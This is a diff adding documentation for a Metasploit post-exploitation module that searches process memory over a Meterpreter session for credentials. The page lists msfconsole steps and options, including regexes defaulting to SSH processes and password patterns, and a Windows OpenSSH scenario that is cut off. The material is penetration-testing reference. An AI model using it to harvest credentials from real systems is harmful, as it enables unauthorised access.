+## Vulnerable Application
+
+This module allows for searching the memory space of running processes using Meterpreter's
+`stdapi_sys_process_memory_search` command for potentially sensitive data such as passwords.
+
+## Verification Steps
+
+1. Start `msfconsole`
+1. Get a Meterpreter session
+1. Do: `use post/multi/gather/memory_search`
+1. Do: `set SESSION <Session ID>`
+1. Do: `set PROCESS_NAMES_GLOB <process_names_regex>`
+1. Do: `set PROCESS_IDS <Process ID>`
+1. Do: `set REGEX <regex>`
+1. Do: `run`
+
+## Options
+
+### PROCESS_NAMES_GLOB
+
+Regular expression used to target processes. (default: `ssh.*`)
+
+### PROCESS_IDS
+
+Comma delimited process ID/IDs to search through. (default: `nil`)
+
+### REGEX
+
+Regular expression to search for within memory. (default: `publickey,password.*`)
+
+### MIN_MATCH_LEN
+
+The minimum number of bytes to match. (default: `5`)
+
+### MAX_MATCH_LEN
+
+The maximum number of bytes to match. (default: `127`)
+
+### REPLACE_NON_PRINTABLE_BYTES
+
+Replace non-printable bytes with ".". (default: `true`)
+
+### SAVE_LOOT
+
+Save the memory matches to loot. (default: `true`)
+
+
+## Scenarios
+
+### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023
+
+In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`:
